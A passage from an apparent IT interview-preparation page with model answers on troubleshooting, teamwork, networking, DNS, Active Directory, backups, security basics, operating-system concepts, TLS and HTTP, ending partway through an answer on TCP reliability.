Login to manage your account

Please enter a valid email address.
Forgot Password?
Please enter a valid password.
OR

Don't have an account yet? Sign up

IT interviews span a wide range, so employers use them to establish where you sit on the spectrum from support to infrastructure. Expect fundamentals on the OSI model, IP addressing, DNS and DHCP, Active Directory and Group Policy, backup and recovery, and security basics such as least privilege and MFA. Just as important is your troubleshooting method: interviewers want to see that you narrow a problem systematically rather than guessing. The questions below cover both.

Behavioural Questions

1. Tell me about your IT experience. What kind of environment have you worked in?

Note: IT covers an enormous range, so the interviewer is placing you. Be concrete about scale and scope rather than describing yourself as "technical".

Cover:

  • The organisation and estate. How many users, how many sites, and what you supported — desktops, servers, network, cloud services, or a mix.
  • Your scope. First-line support, second or third line, systems administration, or infrastructure. Where escalations went, and what you owned end to end.
  • The technologies. Windows and Active Directory, Linux, Microsoft 365 or Google Workspace, networking, and any cloud platform. Be honest about depth versus familiarity — inflated claims collapse on the first technical follow-up.
  • What you improved. Automating a repetitive task, documenting something undocumented, reducing recurring tickets by fixing a root cause, or completing a rollout or migration.

Numbers help: ticket volume handled, users supported, or systems managed.

2. How do you approach troubleshooting a problem you have never seen before?

Describe a method, since IT interviews care far more about how you think than what you have memorised.

  • Define the problem precisely first. What exactly happens, what was expected, when did it start, who is affected, and is it reproducible. "It does not work" is not a problem statement, and getting to a precise one solves a surprising number of issues immediately.
  • Find out what changed. An update, a configuration change, a password expiry, a certificate renewal, or new hardware. Most things that used to work and now do not were changed by someone.
  • Narrow the scope systematically. Is it one user or many, one machine or all, one application or everything, one site or the whole network? Each answer eliminates whole categories of cause.
  • Work in layers. For anything network-related, work up from physical connectivity to IP, to DNS, to the application. Skipping to the complicated explanation before checking the simple one wastes hours.
  • Change one thing at a time, and note what you tried.
  • Search deliberately — the exact error text, and vendor documentation before forum answers.

Note: Saying you know when to escalate, and that you escalate with the diagnostic work already done rather than passing on a bare ticket, is a strong and practical point.

3. Describe a time you had to explain something technical to a non-technical person.

The skill is translation without condescension.

  • Start from what they care about, not from the mechanism. A user does not want to know about DNS propagation; they want to know when their email will work and what to do meanwhile.
  • Use an analogy only if it holds, and abandon it once it stops helping. A stretched analogy creates a wrong mental model that causes confusion later.
  • Drop the jargon, but do not oversimplify to the point of inaccuracy. People notice when they are being managed rather than informed.
  • Check understanding by asking them to tell you what they will do, rather than asking "does that make sense?", which almost always gets a yes.
  • Give them the action. Most non-technical people need to know what to do and when it will be resolved — the explanation is context, not the point.

Note: A strong version involves explaining a security requirement people found annoying — MFA, or a password policy — where you had to get genuine buy-in rather than just compliance. Explaining why something protects them personally works far better than citing policy.

4. How do you handle multiple urgent requests at the same time?

Give a triage framework rather than saying you work hard.

  • Assess impact and urgency quickly. How many people are affected, how critical is the system to the business, and is the situation deteriorating. A whole department unable to work outranks one person's individual issue, regardless of who escalated loudest.
  • Security incidents go first. Delay compounds the damage.
  • Check whether they are related. Several simultaneous reports are frequently one underlying failure, and recognising that turns three problems into one.
  • Communicate to everyone waiting. A realistic timeframe stops people chasing, which itself consumes time. Silence produces escalation.
  • Delegate and escalate early. Involving someone else while there is still time is far better than at the point of failure.
  • Apply a workaround to buy time where one exists, so people can work while you fix the cause properly.

Note: Being clear that priority is set by business impact rather than by seniority of the person asking — while handling that diplomatically — is what interviewers are checking for. So is recognising when to say you cannot do everything and ask which should wait.

5. How do you keep your IT skills current?

How you learn: vendor documentation and release notes for the platforms you run, a home lab or free cloud tier for hands-on practice, and certifications where they fill a structured gap. Be honest that certifications demonstrate knowledge rather than experience — claiming otherwise is easily exposed.

What is worth prioritising:

  • Fundamentals first. Networking, operating systems, identity, and how DNS actually works underpin everything and do not go out of date. Someone who understands these can learn any specific product.
  • Automation and scripting. PowerShell or Python is now close to essential — the manual work IT used to do is increasingly expected to be scripted, and it is the clearest way to move beyond repetitive tasks.
  • Cloud platforms, because almost every environment now includes them.
  • Security, which has become part of every IT role rather than a separate specialism.

How you apply it: pick one thing you do repeatedly and automate it. That produces a demonstrable result, teaches the skill properly, and is something concrete to talk about in an interview.

Note: Naming the specific next thing you intend to learn and why gives a much more credible answer than listing everything you have looked at.

6. Tell me about a time you had to learn a new technology or tool quickly to deliver a task on time. How did you go about it?

This question tests learning agility — how fast and how sensibly you get productive with something unfamiliar. Interviewers want a structured method, not just “I worked hard”.

Structure your answer with STAR:

  • Situation — the context and the deadline. “Our team had to expose an internal report as a REST API in two weeks, and I had never used Spring Boot.”
  • Task — your specific responsibility, so the interviewer knows what was yours rather than the team’s.
  • Action — the learning method. This is where most of your time should go.
  • Result — what shipped, ideally with a number, and what you would do differently.

Strong example points for the Action step:

  • Started with the official documentation and a quick-start, not random videos, to learn the idiomatic way.
  • Built a tiny throwaway prototype first to learn the moving parts before touching the real codebase.
  • Scoped learning to what the task needed — you do not need the whole framework to ship one endpoint.
  • Read existing code in the repository that used the same tool, and asked a colleague for a 20-minute walkthrough rather than staying stuck for a day.
  • Flagged risk early — told the lead on day three that one part might slip, with a fallback plan.

Result: “The API went live a day early, and I wrote a short setup guide that two newer joiners later used.”

Note: Avoid claiming you mastered something in a weekend. Showing that you knew what you did not know, asked for help at the right time and documented what you learned is far more convincing to an interviewer.

7. Describe a time you discovered a bug in your own code after it had been released. What did you do?

Interviewers ask this to check ownership, honesty and judgement under pressure. Everyone ships bugs; what matters is how you respond. Never answer that it has never happened to you.

A strong answer covers four stages:

  1. Detect and assess — how you found it (a user report, a log alert, a failed report) and how you judged impact: how many users, is data being corrupted, is there a security angle?
  2. Communicate early — you told your lead or on-call person straight away, even before you had a fix. Hiding a bug to fix it quietly is the answer interviewers fear most.
  3. Contain, then fix — roll back or disable the feature if the impact was serious, then write the proper fix with a test that reproduces the bug, get it reviewed and release it.
  4. Prevent recurrence — what changed in the process: a new unit test, an extra validation, a code-review checklist item, better monitoring.

Example: “A date-formatting change I made broke invoice exports for users in one time zone. A support ticket came in within an hour. I confirmed the cause in the logs, told my lead, and we reverted the release within 30 minutes. I then fixed the conversion, added tests for three time zones, and suggested we add a time-zone case to our test data. It has not recurred.”

What to emphasise:

  • You took responsibility without excessive self-blame.
  • You put users and data first, ahead of your pride.
  • You turned the mistake into a lasting improvement for the team.

Note: Pick a real but moderate bug. A story about losing production data with no lesson learned hurts you; a trivial typo shows nothing. The sweet spot is a genuine impact handled calmly and fixed properly.

8. How do you handle a disagreement with a senior developer or teammate about the right technical approach?

This checks whether you can disagree constructively — neither silently accepting a bad decision nor turning a technical debate into a personal one. Freshers in particular should show respect for experience while still contributing a view.

A good approach to describe:

  • Understand before arguing — ask why they prefer their approach. Often the senior person knows a constraint you do not, such as a legacy system or a past incident.
  • Make it about evidence, not opinion — compare the options against shared criteria: performance, maintainability, delivery time, risk. A quick benchmark or a small prototype settles more arguments than debate does.
  • Discuss privately first, not in front of the whole team or in a public code-review thread.
  • Disagree and commit — once a decision is made, support it fully, even if it was not your preference.
  • Escalate only when it genuinely matters, for example a security or data-integrity concern, and then to the tech lead with the facts written down.

Example with STAR: “A senior developer wanted to cache user permissions for 24 hours to cut database load. I was concerned revoked access would persist for a day. I asked about the load problem, then proposed a 5-minute cache with explicit invalidation on role change. I showed a quick load test where the shorter cache still cut queries by about 80 per cent. We went with it, and it later passed a security review without comment.”

Note: It is fine — even good — to tell a story where you were the one who was wrong and changed your mind. It shows you value the best outcome over winning the argument.

9. Tell me about a time you worked with unclear or frequently changing requirements. How did you handle it?

Changing requirements are normal in software, so interviewers want to see that you reduce ambiguity proactively rather than either guessing or complaining.

Points that make a strong answer:

  • Clarify early — ask the product owner or client concrete questions: who is the user, what problem are we solving, what does “done” look like? Write the answers down and confirm them.
  • Use examples — turn vague statements into acceptance criteria or sample inputs and outputs. “Fast search” becomes “results in under two seconds for 10,000 records”.
  • Build in small increments — ship a thin working slice or a mock-up and get feedback before investing heavily. It is cheaper to change a wireframe than finished code.
  • Design for change — keep the uncertain parts configurable or isolated behind an interface so a change does not ripple everywhere.
  • Make trade-offs visible — when a new change arrives mid-sprint, explain its impact on the timeline and let the product owner choose what to drop, rather than silently absorbing it.

Example: “For an internal leave-approval tool, the HR team changed the approval rules three times in the first week. I set up a 15-minute call to walk through five real leave scenarios, wrote them as acceptance tests, and moved the rules into a configuration table. When the fourth change came, it took an hour instead of two days, and HR could see the tests passing for every scenario.”

Note: Avoid a tone that blames the business for changing its mind. Frame change as expected, and show how your process made it cheap and visible — that is exactly what Agile teams are looking for.

10. How do you respond when your code receives a lot of critical feedback in a code review?

This question tests coachability and emotional maturity. Code review is a daily activity in most IT teams, and an engineer who gets defensive slows everyone down.

What a strong answer shows:

  • You separate yourself from your code — feedback is about the change, not about you, and it is the cheapest point at which to catch problems.
  • You read every comment fully before replying, and you assume good intent.
  • You ask questions when a comment is unclear — “Could you say more about why a map is better here than a list?” — rather than guessing or arguing.
  • You push back politely with reasons when you genuinely disagree, and accept the reviewer’s call on matters of team convention.
  • You learn from patterns — if the same comment appears repeatedly, you add it to your personal checklist so it does not come up again.

Example with STAR: “In my first month, a pull request of mine got 23 comments — naming, missing null checks, a query inside a loop and no tests. My first reaction was frustration, but I went through them one by one, fixed the clear ones and asked the reviewer for 15 minutes on the two I did not understand. The query-in-a-loop point taught me about the N+1 problem. My next few pull requests averaged four or five comments, and six months later I was reviewing other people’s code.”

Note: A good closing line is how you now give feedback yourself — specific, kind and focused on the code. It shows you have absorbed the purpose of code review, not just survived it.

Technical Questions

11. What is the OSI model and what happens at each layer?

The OSI model describes networking in seven layers, each serving the one above.

  • 7. Application — protocols users interact with: HTTP, SMTP, DNS, FTP.
  • 6. Presentation — encoding, encryption, and compression. TLS is usually placed here.
  • 5. Session — establishing and managing connections between applications.
  • 4. Transport — end-to-end delivery. TCP (reliable, ordered, connection-oriented) and UDP (fast, connectionless, no delivery guarantee). Ports live here.
  • 3. Network — logical addressing and routing between networks. IP addresses, routers, and ICMP.
  • 2. Data Link — delivery within a single network segment. MAC addresses, switches, and VLANs.
  • 1. Physical — cables, connectors, radio, and electrical signalling.

Why it matters practically: it gives you a troubleshooting order. Work up from the bottom — is it physically connected, does it have an IP address, can it reach the gateway, does DNS resolve, does the application respond. Jumping to layer 7 when the cable is unplugged is the mistake the model prevents.

Note: The TCP/IP model is the one actually implemented, with four layers — Link, Internet, Transport, Application. OSI survives because it is a better teaching and diagnostic framework. Being able to say that shows understanding rather than memorisation.

12. What is the difference between an IP address, a subnet mask, a gateway and DNS?

  • IP address — the device's identity on the network, such as 192.168.1.50. IPv4 is 32 bits; IPv6 is 128 bits and exists because IPv4 addresses ran out.
  • Subnet mask — divides the address into a network portion and a host portion. With 255.255.255.0 (or /24), the first three octets identify the network. This is how a device decides whether a destination is local — deliverable directly — or remote and must go via the router.
  • Default gateway — the router's address, where traffic destined for other networks is sent. Without it a device can reach its own subnet but nothing beyond, which presents as "local network works, internet does not".
  • DNS server — resolves names to addresses. Without working DNS almost everything appears broken even though connectivity is fine — the classic symptom is that a site fails by name but works by IP.

Private ranges — 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 — are not routable on the internet, which is why NAT translates them to a public address at the router.

Note: A 169.254.x.x address is worth recognising instantly. It is APIPA, self-assigned when the device could not reach a DHCP server — so the problem is DHCP or physical connectivity, not the device's configuration.

Free workshop by Jobaaj Learnings

13. What is the difference between TCP and UDP, and what are common port numbers?

TCP is connection-oriented and reliable. It establishes a connection with a three-way handshake, numbers every segment, acknowledges receipt, retransmits what is lost, and delivers data in order. It also manages flow and congestion. The cost is overhead and latency.

UDP is connectionless. It sends datagrams with no handshake, no acknowledgement, no retransmission, and no ordering guarantee. It is faster and lighter, and the application must handle any loss itself.

How to choose: TCP where every byte must arrive — web pages, email, file transfer, database connections. UDP where timeliness beats completeness — live voice and video, gaming, and DNS, where a single small query and reply is cheaper than establishing a connection.

Common ports worth knowing:

  • 20/21 FTP, 22 SSH and SFTP, 23 Telnet (insecure, should be disabled)
  • 25 SMTP, 587 SMTP submission, 465 SMTPS
  • 53 DNS (UDP normally, TCP for large responses and zone transfers)
  • 67/68 DHCP, 69 TFTP
  • 80 HTTP, 443 HTTPS
  • 110 POP3, 143 IMAP, 993 IMAPS
  • 389 LDAP, 636 LDAPS
  • 3306 MySQL, 1433 SQL Server, 5432 PostgreSQL
  • 3389 RDP, 445 SMB

Note: RDP and SMB should never be exposed directly to the internet — both are routinely scanned for and are common ransomware entry points.

14. How does DNS work, and how do you troubleshoot name resolution problems?

DNS translates names into IP addresses. When a client looks up a name:

  • It checks its local cache, then the hosts file.
  • It queries its configured resolver, which checks its own cache.
  • If not cached, the resolver queries a root server, which directs it to the top-level domain servers, which direct it to the domain's authoritative name servers, which return the record.
  • The result is cached for the record's TTL.

Record types: A (IPv4), AAAA (IPv6), CNAME (alias), MX (mail servers), TXT (SPF, DKIM, verification), NS (authoritative servers), PTR (reverse lookup).

Troubleshooting, in order:

  • Can you reach the IP directly? If yes, the problem is definitively DNS rather than connectivity.
  • nslookup or dig against the configured server, then against a public one such as 8.8.8.8. A difference isolates it to internal DNS.
  • Check the client's DNS settings with ipconfig /all or resolv.conf. A domain-joined machine pointing at a public resolver cannot resolve internal names — an extremely common misconfiguration.
  • Flush the cacheipconfig /flushdns — since stale entries persist after a record changes.
  • Check the TTL if a record was recently updated. What people call propagation is really cache expiry.

15. What is Active Directory and what is the difference between authentication and authorisation?

Active Directory Domain Services is Microsoft's directory service — a central database of users, computers, and groups providing authentication and authorisation across a Windows network. Its value is one identity instead of separate accounts on every machine.

The structure:

  • Forest — the top-level security boundary containing one or more domains.
  • Domain — an administrative boundary with its own policies.
  • Organisational Unit (OU) — a container for organising objects, and the target for Group Policy and delegated administration.
  • Domain Controller — a server hosting the directory and handling authentication using Kerberos.

Group Policy applies configuration centrally — password policy, drive mappings, software deployment, security settings — which is what makes managing thousands of machines practical. Policies apply in the order Local, Site, Domain, OU, with later overriding earlier.

Authentication versus authorisation:

  • Authentication proves who you are. Something you know, something you have, or something you are. Multi-factor means two different categories.
  • Authorisation determines what you may do once authenticated — group membership, file permissions, and rights.

Note: Being able to log in but not access a share is an authorisation problem, not an authentication one. Making that distinction quickly is what makes access troubleshooting efficient.

16. What is the difference between a hub, a switch and a router?

Three devices operating at different layers, and the difference is how intelligently they forward traffic.

  • HubLayer 1. Repeats every incoming signal out of every other port with no intelligence. Every device sees all traffic, collisions are frequent, and bandwidth is shared. Hubs are obsolete and should never appear in a modern network; they are asked about to test whether you understand why switches replaced them.
  • SwitchLayer 2. Learns which MAC address is on which port and forwards frames only to the correct destination port. This eliminates collisions, gives each port full bandwidth, and is the standard building block of a local network. Managed switches add VLANs, which segment one physical switch into separate logical networks, plus port security, link aggregation, and monitoring.
  • RouterLayer 3. Connects different networks and forwards packets between them based on IP addresses and a routing table. It is the boundary of a broadcast domain, and it is where NAT, firewalling, and DHCP services usually live in smaller networks.

The simple distinction to state: a switch moves traffic within a network; a router moves traffic between networks.

Note: A Layer 3 switch blurs the line — it switches at wire speed and also routes between VLANs, which is how routing is typically done inside a modern campus network rather than sending everything through a separate router.

17. What is the difference between backup and redundancy, and what makes a good backup strategy?

Redundancy protects against component failure — a duplicate disk, power supply, server, or link keeps the service running. It is about availability, and the copies are live and synchronised.

Backup protects against data loss — deletion, corruption, ransomware, or a bad change. The copies are separate in time as well as location.

The distinction that matters: RAID is not backup. A deleted file, a corrupted database, or an encrypted-by-ransomware volume replicates instantly across every disk in the array. Neither is synchronous replication to a second site. Believing redundancy provides backup is a common and expensive mistake.

A good backup strategy:

  • The 3-2-1 rule — three copies, on two different media, with one off-site. It survives hardware failure, site loss, and most ransomware.
  • Immutable or air-gapped copies. Now essential, because ransomware specifically targets backups. A backup reachable with the credentials the attacker stole is not a backup.
  • Frequency matched to your RPO — how much data you can afford to lose.
  • Retention matched to legal and regulatory requirements, including versions far enough back to predate a slow corruption.
  • Monitoring, so a silently failing backup job is noticed before it is needed.

Note: The point to end on: an untested backup is not a backup. Regular restore drills, timed against the recovery objective, are what turn a policy into a capability — and a great many organisations discover theirs is unusable only when they need it.

18. What are the main security practices every IT professional should follow?

Identity — where most attacks now begin:

  • Multi-factor authentication everywhere, especially on remote access, email, and administrative accounts. This single control blocks the large majority of credential attacks.
  • Least privilege. Users are not local administrators; administrators use a separate account for privileged work and a normal one for email and browsing.
  • Prompt deprovisioning when people leave, ideally automated from HR.

Systems:

  • Patch on a defined cycle, prioritising internet-facing systems and actively exploited vulnerabilities.
  • Change all default credentials and disable unused services and accounts.
  • Disable legacy protocols — SMBv1, TLS 1.0, and Telnet.
  • Encrypt disks on laptops and mobile devices.

Network: segment so a compromise in one area does not reach everything; never expose RDP or SMB to the internet; and use a VPN or zero trust access for remote work.

Detection and recovery: centralised logging that an attacker cannot delete, endpoint detection, and tested backups that are immutable or offline.

People: phishing awareness training measured on reporting rate rather than click rate, and a culture where reporting a mistake is safe.

Note: Say that security is now part of every IT role rather than a separate team's problem. The most common breaches exploit basic gaps — an unpatched server, a missing MFA, a default password — not sophisticated attacks.

19. What is cloud computing, and what are the differences between public, private and hybrid cloud?

Cloud computing delivers computing resources on demand over the internet, paid for by consumption rather than purchased outright. The shift is from capital expenditure on hardware you must size for peak demand, to operating expenditure that scales with actual use.

The service models:

  • IaaS — virtual machines, storage, and networking. You manage the operating system upwards. AWS EC2, Azure Virtual Machines.
  • PaaS — the provider manages the OS and runtime; you deploy applications. Azure App Service, AWS Elastic Beanstalk.
  • SaaS — a finished application. Microsoft 365, Salesforce.

The deployment models:

  • Public cloud — shared infrastructure from a provider. Lowest cost, effectively unlimited scale, no hardware to manage. The trade-offs are less control and dependence on the provider.
  • Private cloud — dedicated infrastructure, on-premises or hosted. Chosen for regulatory requirements, data residency, or specific performance needs. More control, higher cost, and you still manage the hardware.
  • Hybrid cloud — both, connected. The most common reality: legacy or regulated workloads stay on-premises while new work goes to public cloud. Also used for burst capacity and disaster recovery.
  • Multi-cloud — more than one public provider, for resilience, negotiating position, or because different providers suit different workloads.

Note: Two practical points worth raising: cloud is not automatically cheaper, and cost control requires active management; and the shared responsibility model means securing your data and configuration remains yours regardless of provider.

20. What is virtualisation and why is it used?

Virtualisation runs multiple isolated operating systems on one physical machine. A hypervisor sits between the hardware and the guests, allocating CPU, memory, storage, and network to each.

  • Type 1 (bare metal) — runs directly on the hardware. VMware ESXi, Microsoft Hyper-V, KVM. Used in datacentres because there is no host operating system consuming resources or adding a failure point.
  • Type 2 (hosted) — runs as an application on a host OS. VirtualBox, VMware Workstation. Used for development and testing.

Why it is used:

  • Consolidation. Physical servers typically ran at very low utilisation; virtualisation puts many workloads on one machine, cutting hardware, power, cooling, and rack space substantially.
  • Isolation. One virtual machine crashing does not affect the others.
  • Snapshots. Capture a machine's state before a risky change and roll back in seconds — enormously valuable for patching and testing.
  • Live migration. Move a running VM between hosts with no downtime, which makes hardware maintenance possible during working hours.
  • Rapid provisioning from templates, in minutes rather than weeks.
  • Disaster recovery. A VM is a set of files, so replicating it to another site is far simpler than rebuilding physical hardware.

Note: Containers are the natural follow-up — they virtualise the operating system rather than the hardware, sharing the host kernel, so they are far lighter and start in under a second, but with weaker isolation. The two are complementary, and containers usually run on virtual machines.

21. What is the difference between a process and a thread?

A process is a running instance of a program with its own isolated resources. A thread is a unit of execution inside a process. Every process has at least one thread.

AspectProcessThread
MemoryOwn private address spaceShares the process’s heap, code and open files
Own resourcesPID, memory, file handlesOwn stack, registers and program counter only
Creation costHeavier (fork, new address space)Lighter and faster
Context switchSlower — memory mappings changeFaster — same address space
CommunicationNeeds IPC: pipes, sockets, shared memoryDirectly via shared variables
FailureA crash is isolated to that processA crash can bring down the whole process

Trade-off: threads are cheaper and share data easily, but that sharing is exactly what causes race conditions, so shared data must be protected with locks. Processes are safer and more isolated but costlier to create and to communicate between.

Real-world examples:

  • Chrome runs each tab as a separate process, so one crashing tab does not kill the browser.
  • A Java web server handles each request on a thread from a thread pool, so requests share caches and connection pools cheaply.

On Linux you can see both: ps -ef lists processes, and ps -eLf or top -H shows the threads within them.

Note: Mention concurrency versus parallelism if you get the chance: threads give concurrency even on one core, but true parallelism needs multiple cores. In Python, the GIL means CPU-bound work often uses multiprocessing rather than threads.

22. What is CPU scheduling, and how do FCFS, SJF, Round Robin and priority scheduling compare?

CPU scheduling is how the operating system decides which ready process or thread runs next on the CPU. Good scheduling balances throughput, response time, fairness and CPU utilisation.

Key terms: turnaround time (completion minus arrival), waiting time (time spent in the ready queue) and response time (time to first run). Schedulers are either preemptive, where the OS can interrupt a running task, or non-preemptive, where a task runs until it blocks or finishes.

  • FCFS (First Come, First Served) — non-preemptive and simple, like a queue. It suffers the convoy effect: one long job makes every short job behind it wait.
  • SJF (Shortest Job First) — runs the job with the shortest burst next. It gives the minimum average waiting time, but burst times must be estimated and long jobs can starve. Its preemptive form is SRTF (Shortest Remaining Time First).
  • Round Robin — preemptive; each task gets a fixed time quantum, say 10–100 ms, and then goes to the back of the queue. It is fair and gives good response time for interactive systems. Too small a quantum wastes time on context switches; too large and it behaves like FCFS.
  • Priority scheduling — the highest-priority task runs first. It risks starvation of low-priority tasks, solved by ageing, which gradually raises the priority of tasks that have waited long.

What real systems use: multilevel feedback queues combine these ideas. Linux historically used the Completely Fair Scheduler (CFS), which tracks each task’s virtual runtime, and newer kernels use EEVDF. You can influence priority with nice and renice.

Note: Interviewers often give a small table of arrival and burst times and ask you to compute average waiting time. Practise drawing a Gantt chart for FCFS, SJF and Round Robin — it takes two minutes and is a common written-test question.

23. What is a deadlock, what are the four conditions required for it, and how can it be prevented?

A deadlock is a state where two or more processes each hold a resource and wait for a resource held by another, so none of them can ever proceed. Example: thread A locks the accounts table and waits for orders, while thread B holds orders and waits for accounts.

The four Coffman conditions — all must hold at once:

  1. Mutual exclusion — a resource can be held by only one process at a time.
  2. Hold and wait — a process holds at least one resource while waiting for others.
  3. No preemption — resources cannot be forcibly taken away; they are released voluntarily.
  4. Circular wait — a closed chain exists where each process waits for the next one’s resource.

Handling strategies:

  • Prevention — break one condition. The most practical is to break circular wait by always acquiring locks in a fixed global order. Breaking hold-and-wait means requesting all resources at once.
  • Avoidance — grant a request only if the system stays in a safe state. The classic algorithm is the Banker’s algorithm, which is rarely used in practice because it needs to know maximum demand in advance.
  • Detection and recovery — allow deadlocks, detect cycles in a wait-for graph, then kill or roll back a victim. Databases such as MySQL InnoDB and SQL Server do exactly this and return a deadlock error to one transaction.
  • Ignore it — the “ostrich algorithm”, used by most general-purpose OSes because deadlocks are rare and prevention is costly.

In application code: use lock ordering, lock timeouts such as tryLock(timeout), keep critical sections short and keep transactions small.

Note: Distinguish deadlock from livelock and starvation. In livelock processes keep changing state but make no progress; in starvation a process waits indefinitely because others are always favoured, even though the system as a whole progresses.

24. What is virtual memory, and how do paging and page faults work?

Virtual memory gives every process the illusion of its own large, contiguous address space, independent of how much physical RAM exists. The OS and the CPU’s Memory Management Unit (MMU) translate virtual addresses into physical ones.

Benefits:

  • Isolation — one process cannot read or corrupt another’s memory.
  • Programs larger than RAM — rarely used parts can live on disk.
  • Efficient sharing — shared libraries are mapped once into many processes, and fork() uses copy-on-write.

How paging works:

  • Virtual memory is divided into fixed-size pages, typically 4 KB, and physical RAM into frames of the same size.
  • A per-process page table maps each page to a frame, with flags such as present, writable and dirty.
  • The TLB (Translation Lookaside Buffer) caches recent translations so most lookups avoid walking the page table.

Page faults: when a process touches a page not currently in RAM, the MMU raises a page fault. The OS finds the page on disk or in swap, picks a frame (evicting another page if needed, using a replacement policy such as LRU or a clock approximation), loads it, updates the page table and resumes the instruction. A minor fault needs no disk read; a major fault does and is far slower.

Thrashing happens when the working sets of running processes exceed RAM, so the system spends more time swapping pages than doing work. On Linux, watch the si and so columns in vmstat 1.

Note: Know the difference between paging and segmentation: paging uses fixed-size blocks and avoids external fragmentation, while segmentation uses variable-size logical units such as code and stack. Modern x86-64 systems rely almost entirely on paging.

25. What is a race condition, and what is the difference between a mutex and a semaphore?

A race condition occurs when the result of a program depends on the unpredictable timing of threads accessing shared data. The classic example is two threads running count++ at the same time: it is really read, add, write, so both can read 5 and both write 6, losing an update.

The code that touches shared data is the critical section, and synchronisation primitives ensure only safe interleavings happen.

Mutex (mutual exclusion lock):

  • A lock with two states, locked and unlocked. Only one thread can hold it at a time.
  • It has ownership — the thread that locks it must unlock it.
  • Used to protect a critical section, such as updating a shared balance.

Semaphore:

  • An integer counter with two atomic operations: wait() (also called P or down), which decrements and blocks if the value is zero, and signal() (V or up), which increments and wakes a waiter.
  • A counting semaphore initialised to N allows up to N threads in at once — for example, limiting a pool to 10 database connections.
  • A binary semaphore (0 or 1) looks like a mutex but has no ownership: any thread can signal it, which makes it useful for signalling between threads, as in the producer-consumer problem.

In practice:

// Java
private final ReentrantLock lock = new ReentrantLock();
lock.lock();
try { balance += amount; } finally { lock.unlock(); }

Semaphore pool = new Semaphore(10);
pool.acquire(); try { useConnection(); } finally { pool.release(); }

For a simple counter, an atomic type such as AtomicInteger avoids a lock entirely.

Note: A good follow-up point is that locks bring their own risks — deadlock if acquired in inconsistent order, and contention that hurts performance if critical sections are too long. Keep critical sections as small as possible.

26. What happens, step by step, when you type a URL into a browser and press Enter?

This classic question tests whether you can connect networking, security and web concepts end to end. Walk through it in order:

  1. URL parsing — the browser splits https://www.example.com/page into scheme, host and path. If the text is not a valid URL it becomes a search query instead. With HSTS, the browser forces HTTPS before sending anything.
  2. Cache checks — the browser may already have a cached response or at least a cached DNS entry.
  3. DNS resolution — the browser checks its own cache, then the OS cache and hosts file, then asks the configured recursive resolver, which queries the root, TLD (.com) and authoritative name servers to get the IP address.
  4. TCP connection — a three-way handshake (SYN, SYN-ACK, ACK) to the server’s IP on port 443. With HTTP/3, QUIC over UDP is used instead.
  5. TLS handshake — the client and server agree a cipher suite, the server presents its certificate, the browser validates it against trusted certificate authorities, and session keys are derived.
  6. HTTP request — the browser sends GET /page with headers such as Host, cookies, User-Agent and Accept-Encoding.
  7. Server side — often a CDN or load balancer first, then a web server, application code, database and caches produce the response.
  8. HTTP response — a status code such as 200 or 301, headers and the HTML body, often compressed.
  9. Rendering — the browser parses HTML into the DOM and CSS into the CSSOM, fetches further resources (CSS, JavaScript, images — often in parallel), runs JavaScript, then lays out and paints the page.

Along the way, ARP resolves the gateway’s MAC address, and routers forward packets hop by hop using IP.

Note: Tailor the depth to the role. A front-end role expects more on rendering and the critical path; a network or backend role expects more on DNS, TCP, TLS and load balancing. Offering to go deeper on any step shows confidence.

27. What is the difference between HTTP and HTTPS, and how does the TLS handshake work?

HTTP sends requests and responses in plain text, usually on port 80, so anyone on the path — a public Wi-Fi operator, an ISP, an attacker — can read or modify them. HTTPS is HTTP carried inside a TLS connection, usually on port 443, which provides three guarantees:

  • Confidentiality — traffic is encrypted.
  • Integrity — tampering in transit is detected.
  • Authentication — the certificate proves you are talking to the genuine server for that domain.

The TLS 1.3 handshake, simplified:

  1. ClientHello — the client sends supported TLS versions and cipher suites, a random value and its key-share for an ephemeral Diffie-Hellman exchange. The SNI field names the site it wants.
  2. ServerHello — the server picks a cipher suite and sends its own key-share. Both sides can now compute the same shared secret without ever sending it.
  3. Certificate and verification — the server sends its certificate chain and signs the handshake with its private key. The browser checks that the chain leads to a trusted root CA, the domain matches and the certificate has not expired or been revoked.
  4. Finished — both sides confirm the handshake was not tampered with, and application data flows, encrypted with fast symmetric keys such as AES-GCM.

TLS 1.3 completes this in one round trip, versus two in TLS 1.2, and removed weak algorithms. Ephemeral key exchange gives forward secrecy: stealing the server’s private key later does not decrypt past sessions.

Useful command: openssl s_client -connect example.com:443 -servername example.com shows the negotiated version, cipher and certificate chain.

Note: A common misconception is that HTTPS hides which site you visit. The domain is usually still visible through DNS and SNI; HTTPS hides the path, query parameters, headers, cookies and content.

28. What are the common HTTP methods and status codes, and what does each one mean?

HTTP methods express the intent of a request. Two properties matter in interviews: safe (does not change server state) and idempotent (repeating it has the same effect as doing it once).

MethodPurposeSafeIdempotent
GETRead a resourceYesYes
POSTCreate a resource or trigger an actionNoNo
PUTReplace a resource entirelyNoYes
PATCHPartially update a resourceNoNot guaranteed
DELETERemove a resourceNoYes
HEAD / OPTIONSHeaders only / allowed methods (used in CORS preflight)YesYes

Status code classes:

  • 1xx Informational — for example 101 Switching Protocols for WebSockets.
  • 2xx Success — 200 OK, 201 Created (after a POST), 204 No Content.
  • 3xx Redirection — 301 Moved Permanently, 302 Found (temporary), 304 Not Modified (use the cached copy).
  • 4xx Client error — 400 Bad Request, 401 Unauthorized (not authenticated — log in), 403 Forbidden (authenticated but not allowed), 404 Not Found, 409 Conflict, 429 Too Many Requests (rate limited).
  • 5xx Server error — 500 Internal Server Error, 502 Bad Gateway (a proxy got a bad response from upstream), 503 Service Unavailable, 504 Gateway Timeout.

Quick test from the command line: curl -I https://example.com shows the status line and headers, and curl -X POST -d 'name=test' https://api.example.com/items sends a POST.

Note: The 401 versus 403 distinction and the 502 versus 504 distinction come up constantly in interviews and in production debugging. A 502 or 504 usually means the problem is behind the load balancer, not in the load balancer itself.

29. What is the TCP three-way handshake, and how does TCP guarantee reliable, ordered delivery?

TCP is connection-oriented: before any data flows, the two sides set up a connection and agree on starting sequence numbers.

The three-way handshake:

  1. SYN — the client sends a segment with the SYN flag and its initial sequence number, say x.
  2. SYN-ACK — the server replies with its own sequence number y and acknowledges x+1.
  3. ACK — the client acknowledges y+1. The connection is now ESTABLISHED on both sides.

Closing normally uses a four-way FIN/ACK exchange, and the side that closes first waits in TIME_WAIT for a while so that stray packets from the old connection are not mistaken for a new one. A RST aborts a connection immediately — for example, when nothing is listening on the port.

How TCP achieves reliability:

  • Sequence numbers — every byte is numbered, so the receiver can reorder segments and discard duplicates.
